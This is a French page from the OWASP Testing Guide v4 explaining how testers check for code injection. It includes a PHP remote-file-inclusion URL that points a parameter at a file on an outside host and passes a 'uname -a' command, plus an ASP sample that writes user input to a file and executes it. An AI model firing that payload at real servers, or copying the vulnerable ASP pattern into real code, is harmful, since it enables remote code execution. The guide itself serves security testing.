4.8.12 Tester les injections de code (OTG-INPVAL-012)

From OWASP
Jump to: navigation, search
This article is part of the new OWASP Testing Guide v4.
Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: https://www.owasp.org/index.php/OWASP_Testing_Project

Sommaire

Cette section décrit comment un testeur peut vérifier s'il est possible de saisir du code comme entrée sur une page web afin de le faire exécuter par le serveur web.


Lors des tests d'injection de code (Code Injection), un testeur envoie des entrées qui seront traîtées par le serveur web comme du code dynamique ou des fichiers inclus. Ces tests peuvent viser divers moteurs de scripts serveur, par exemple ASP ou PHP. La protection contre ces attaques passe par la validation des entrées et de bonnes pratiques de développement sécurisé.

Comment tester

Test en boite noire

Tester les vulnérabilités d'injection PHP

En utilisant la chaîne de requête, le testeur peut injecter du code (dans cet exemple, une URL malicieuse) qui sera traîté comme un fichier inclus :

http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a


Resultat attendu:

L'URL malicieuse est acceptée comme paramètre pour la page PHP, qui va utiliser plus tard cette valeur pour inclure le fichier.


Test en boite grise

Tester les vulnérabilités d'injection de code ASP

Il faut examiner le code pour repérer les entrées utilisateur utilisées pour exécuter des fonctions. L'utilisateur peut-il entrer dans commandes dans un champ de saisie de données ? Ici, le code ASP va entregistrer les entrées dans un fichier, puis les exécuter :

<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'User input Data is written to a file named data.txt
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing
'Data.txt is executed
Server.Execute( "data.txt" )
Else
%>
<form>
<input name="Data" /><input type="submit" name="Enter Data" />
</form>
<%
End If
%>)))


Références